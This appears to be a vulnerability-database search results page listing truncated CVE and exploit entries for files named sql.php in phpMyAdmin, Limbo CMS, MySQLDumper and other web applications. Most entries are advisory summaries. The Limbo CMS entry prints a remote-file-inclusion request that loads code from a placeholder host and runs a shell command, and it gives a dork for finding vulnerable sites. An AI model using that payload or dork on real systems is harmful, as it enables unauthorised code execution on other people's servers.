49 matches found
CVE-2011-2643
Directory traversal vulnerability in sql.php in phpMyAdmin 3.4.x before 3.4.3.2, when configuration storage is enabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in a MIME-type transformation parameter...
CVE-2011-2643: Improper Limitation of a Pathname to a Restricted Directory
Directory traversal vulnerability in sql.php in phpMyAdmin 3.4.x before 3.4.3.2, when configuration storage is enabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in a MIME-type transformation parameter...
CVE-2008-0807: Undefined Security Weakness
lib/Driver/sql.php in Turba 2 turba2 Contact Manager H3 2.1.x before 2.1.7 and 2.2.x before 2.2-RC3, as used in products such as Horde Groupware before 1.0.4 and Horde Groupware Webmail Edition before 1.0.5, does not properly check access rights, which allows remote authenticated users to modify...
Cross site scripting
Multiple cross-site scripting XSS vulnerabilities in phpMyAdmin 2.10.3 allow remote attackers to inject arbitrary web script or HTML via the 1 unlimnumrows, 2 sqlquery, or 3 pos parameter to a tblexport.php; the 4 sessionmaxrows or 5 pos parameter to b sql.php; the 6 username parameter to c...
CVE-2007-4306: Undefined Security Weakness
Multiple cross-site scripting XSS vulnerabilities in phpMyAdmin 2.10.3 allow remote attackers to inject arbitrary web script or HTML via the 1 unlimnumrows, 2 sqlquery, or 3 pos parameter to a tblexport.php; the 4 sessionmaxrows or 5 pos parameter to b sql.php; the 6 username parameter to c...
Madirish Webmail 2.0 - addressbook.php Remote File Inclusion
Madirish Webmail 2.0 - addressbook.php Remote File Inclusion Madirish Webmail v2.0 Remote File Include Vulnerabilities Author : BoZKuRTSeRDaR Contact MSN:[email protected] My Homepage :WwW.Turkmilliyetcileri.OrG script Download : http://sourceforge.net/projects/madirishwebmail code:...
CVE-2006-6942
Multiple cross-site scripting XSS vulnerabilities in PhpMyAdmin before 2.9.1.1 allow remote attackers to inject arbitrary HTML or web script via 1 a comment for a table name, as exploited through a dboperations.php, 2 the db parameter to b dbcreate.php, 3 the newname parameter to dboperations.php...
CVE-2006-6942
Multiple cross-site scripting XSS vulnerabilities in PhpMyAdmin before 2.9.1.1 allow remote attackers to inject arbitrary HTML or web script via 1 a comment for a table name, as exploited through a dboperations.php, 2 the db parameter to b dbcreate.php, 3 the newname parameter to dboperations.php...
CVE-2006-6942: Improper Neutralization of Input During Web Page Generation
Multiple cross-site scripting XSS vulnerabilities in PhpMyAdmin before 2.9.1.1 allow remote attackers to inject arbitrary HTML or web script via 1 a comment for a table name, as exploited through a dboperations.php, 2 the db parameter to b dbcreate.php, 3 the newname parameter to dboperations.php...
CVE-2006-5264
Cross-site scripting XSS vulnerability in sql.php in MysqlDumper 1.21 b6 allows remote attackers to inject arbitrary web script or HTML via the db parameter...
CVE-2006-5264: Undefined Security Weakness
Cross-site scripting XSS vulnerability in sql.php in MysqlDumper 1.21 b6 allows remote attackers to inject arbitrary web script or HTML via the db parameter...
MySQLDumper 1.21 - sql.php Cross-Site Scripting
MySQLDumper 1.21 - sql.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20460/info MySQLDumper is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue could allow an attacker to execute attacker-supplie...
CVE-2006-3034
MyScrapbook 3.1 allows remote attackers to obtain sensitive information via a direct request to files in the txt-db-api directory such as txt-db-api/sql.php, which reveals the path in an error message...
CVE-2006-3034: Undefined Security Weakness
MyScrapbook 3.1 allows remote attackers to obtain sensitive information via a direct request to files in the txt-db-api directory such as txt-db-api/sql.php, which reveals the path in an error message...
Remote file inclusion
PHP remote file inclusion vulnerability in classes/adodbt/sql.php in Limbo CMS 1.04 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the classesdir parameter...
CVE-2006-2142: Undefined Security Weakness
PHP remote file inclusion vulnerability in classes/adodbt/sql.php in Limbo CMS 1.04 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the classesdir parameter...
Limbo CMS 1.0.4.2 - sql.php Remote File Inclusion
Limbo CMS 1.0.4.2 - sql.php Remote File Inclusion Title: Limbo CMS = 1.04 Remote File Inclusion URL: http://www.limbo-cms.com/ Dork: inurl:"index2.php?option=rss" OR "powered By Limbo CMS" Credits: Oo Exploit: /classes/adodbt/sql.php?classesdir=http://yourhost/cmd.gif?cmd=ls milw0rm.com 2006-04-2...
Limbo CMS <= 1.0.4.2 (sql.php) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ================================================================== Limbo CMS = 1.0.4.2 sql.php Remote File Inclusion Vulnerability ================================================================== Title: Limbo CMS = 1.04 Remote File...
Cross site scripting
Cross-site scripting XSS vulnerability in sql.php in phpMyAdmin 2.7.0-pl1 allows remote attackers to inject arbitrary web script or HTML via the sqlquery parameter...
CVE-2006-1803
CVE-2006-1803 is a cross-site scripting (XSS) vulnerability in phpMyAdmin 2.7.0-pl1, exploitable via the sql_query parameter in sql.php. The issue allows remote attackers to inject arbitrary web script or HTML. This detailed description is consistently echoed across multiple sources (NVD, SUSE, O...